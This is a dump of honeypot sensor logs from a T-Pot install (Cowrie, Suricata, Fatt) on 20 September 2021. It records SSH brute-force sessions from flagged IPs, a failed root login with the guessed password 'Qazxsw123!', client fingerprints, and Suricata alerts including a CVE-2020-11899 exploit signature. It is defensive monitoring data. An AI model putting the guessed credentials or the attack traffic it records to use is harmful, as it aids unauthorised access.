"192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36595	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:16:14.940455+03	2021-09-20 15:30:02.481868+03	{"_id": "9wYiA3wBvYTbRNuEqmMY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.login.failed", "message": "login attempt [root/Qazxsw123!] failed", "session": "24fb7303b66c", "@version": "1", "password": "Qazxsw123!", "username": "root", "timestamp": "2021-09-20T12:16:14.940455Z", "@timestamp": "2021-09-20T12:16:14.940Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36596	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:16:16.223794+03	2021-09-20 15:30:02.482869+03	{"_id": "-AYiA3wBvYTbRNuErmMB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "24fb7303b66c", "@version": "1", "duration": 2.7776386737823486, "timestamp": "2021-09-20T12:16:16.223794Z", "@timestamp": "2021-09-20T12:16:16.223Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36607	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:16:22.774166+03	2021-09-20 15:30:02.497866+03	{"_id": "AgYiA3wBvYTbRNuExWRz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:50847 (192.168.176.2:22) [session: 8d2bad85e9ae]", "session": "8d2bad85e9ae", "@version": "1", "protocol": "ssh", "src_port": 50847, "dest_port": 22, "timestamp": "2021-09-20T12:16:22.774166Z", "@timestamp": "2021-09-20T12:16:22.774Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36597	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:16:07.53403+03	2021-09-20 15:30:02.484868+03	{"_id": "3QYiA3wBvYTbRNuEi2Pf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 44998, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1707, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 212523496710211, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 35868, "timestamp": "2021-09-20T12:16:07.534030Z", "@timestamp": "2021-09-20T12:16:07.534Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
36598	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:16:07.622771+03	2021-09-20 15:30:02.485869+03	{"_id": "3gYiA3wBvYTbRNuEjGPh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36294, "timestamp": "2021-09-20T12:16:07.622771", "@timestamp": "2021-09-20T12:16:07.622Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36599	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:16:07.582559+03	2021-09-20 15:30:02.487867+03	{"_id": "5AYiA3wBvYTbRNuEjWMn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36294, "dest_port": 443, "timestamp": "2021-09-20T12:16:07.582559", "@timestamp": "2021-09-20T12:16:07.582Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36600	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 15:16:08.035691+03	2021-09-20 15:30:02.488868+03	{"_id": "5QYiA3wBvYTbRNuEjmO8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c4c11c3e9e26", "@version": "1", "duration": 2.990407943725586, "timestamp": "2021-09-20T12:16:08.035691Z", "@timestamp": "2021-09-20T12:16:08.035Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
36601	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:16:13.443422+03	2021-09-20 15:30:02.489869+03	{"_id": "8QYiA3wBvYTbRNuEomNH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.87.161.152:2328 (192.168.176.2:22) [session: 24fb7303b66c]", "session": "24fb7303b66c", "@version": "1", "protocol": "ssh", "src_port": 2328, "dest_port": 22, "timestamp": "2021-09-20T12:16:13.443422Z", "@timestamp": "2021-09-20T12:16:13.443Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36608	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:16:07.532547+03	2021-09-20 15:30:02.498867+03	{"_id": "3AYiA3wBvYTbRNuEi2Pf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 44998, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 212523496710211, "@version": "1", "in_iface": "enp5s0", "src_port": 35868, "dest_port": 53, "timestamp": "2021-09-20T12:16:07.532547Z", "@timestamp": "2021-09-20T12:16:07.532Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
36602	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:16:09.000277+03	2021-09-20 15:30:02.490869+03	{"_id": "8gYiA3wBvYTbRNuEo2NR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:07.655161+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 163185056022329, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 55571, "timestamp": "2021-09-20T12:16:09.000277Z", "@timestamp": "2021-09-20T12:16:09.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36603	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:16:13.447634+03	2021-09-20 15:30:02.492869+03	{"_id": "9AYiA3wBvYTbRNuEpGNU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.87.161.152", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2328, "timestamp": "2021-09-20T12:16:13.447634", "@timestamp": "2021-09-20T12:16:13.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36604	157.240.234.35	109.199.241.180	Suricata	2021-09-20 15:16:12.346443+03	2021-09-20 15:30:02.493868+03	{"_id": "6AYiA3wBvYTbRNuEn2Np", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:12.346443+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1418279730825547, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 38026, "timestamp": "2021-09-20T12:16:12.346443Z", "@timestamp": "2021-09-20T12:16:12.346Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36605	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:16:13.446504+03	2021-09-20 15:30:02.494867+03	{"_id": "7wYiA3wBvYTbRNuEomNH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "24fb7303b66c", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:16:13.446504Z", "@timestamp": "2021-09-20T12:16:13.446Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36606	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:16:22.777034+03	2021-09-20 15:30:02.495867+03	{"_id": "AQYiA3wBvYTbRNuExWRz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "8d2bad85e9ae", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T12:16:22.777034Z", "@timestamp": "2021-09-20T12:16:22.777Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36609	104.46.111.78	109.199.241.180	Suricata	2021-09-20 15:16:42.654721+03	2021-09-20 15:30:02.50087+03	{"_id": "PQYjA3wBvYTbRNuEFGSm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:42.654721+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "104.46.111.78", "asn": 8075, "as_org": "Microsoft Corporation", "dma_code": 560, "latitude": 36.6534, "location": {"lat": 36.6534, "lon": -78.375}, "timezone": "America/New_York", "city_name": "Boydton", "longitude": -78.375, "postal_code": "23917", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "104.46.111.78", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1848248908840321, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62634, "timestamp": "2021-09-20T12:16:42.654721Z", "@timestamp": "2021-09-20T12:16:42.654Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36610	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:16:42.345154+03	2021-09-20 15:30:02.501868+03	{"_id": "PAYjA3wBvYTbRNuEFGSl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 19339, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1137275054998594, "@version": "1", "in_iface": "enp5s0", "src_port": 59631, "dest_port": 53, "timestamp": "2021-09-20T12:16:42.345154Z", "@timestamp": "2021-09-20T12:16:42.345Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
36611	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:16:42.442432+03	2021-09-20 15:30:02.502869+03	{"_id": "QgYjA3wBvYTbRNuEFWTu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36312, "timestamp": "2021-09-20T12:16:42.442432", "@timestamp": "2021-09-20T12:16:42.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36612	204.79.197.222	109.199.241.180	Suricata	2021-09-20 15:16:43.933071+03	2021-09-20 15:30:02.503868+03	{"_id": "TgYjA3wBvYTbRNuEGGSP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:43.933071+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "204.79.197.222", "asn": 8068, "as_org": "Microsoft Corporation", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "204.79.197.222", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 2023629603421391, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62637, "timestamp": "2021-09-20T12:16:43.933071Z", "@timestamp": "2021-09-20T12:16:43.933Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36613	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:44.134674+03	2021-09-20 15:30:02.504869+03	{"_id": "VgYjA3wBvYTbRNuEG2Rv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ca00cf87f2d1", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:16:44.134674Z", "@timestamp": "2021-09-20T12:16:44.134Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36624	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:16:41.751739+03	2021-09-20 15:30:02.519869+03	{"_id": "KQYjA3wBvYTbRNuED2Sz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "57439a422303", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:16:41.751739Z", "@timestamp": "2021-09-20T12:16:41.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	NL
36614	fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d	109.199.241.180	Suricata	2021-09-20 15:16:44.423615+03	2021-09-20 15:30:02.506869+03	{"_id": "WQYjA3wBvYTbRNuEHGR4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:44.423615+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1864187532572351, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:16:44.423615Z", "@timestamp": "2021-09-20T12:16:44.423Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36615	fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d	109.199.241.180	Suricata	2021-09-20 15:16:44.613133+03	2021-09-20 15:30:02.507869+03	{"_id": "XgYjA3wBvYTbRNuEHGR4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:44.423615+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 180}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1864187532572351, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:16:44.613133Z", "@timestamp": "2021-09-20T12:16:44.613Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
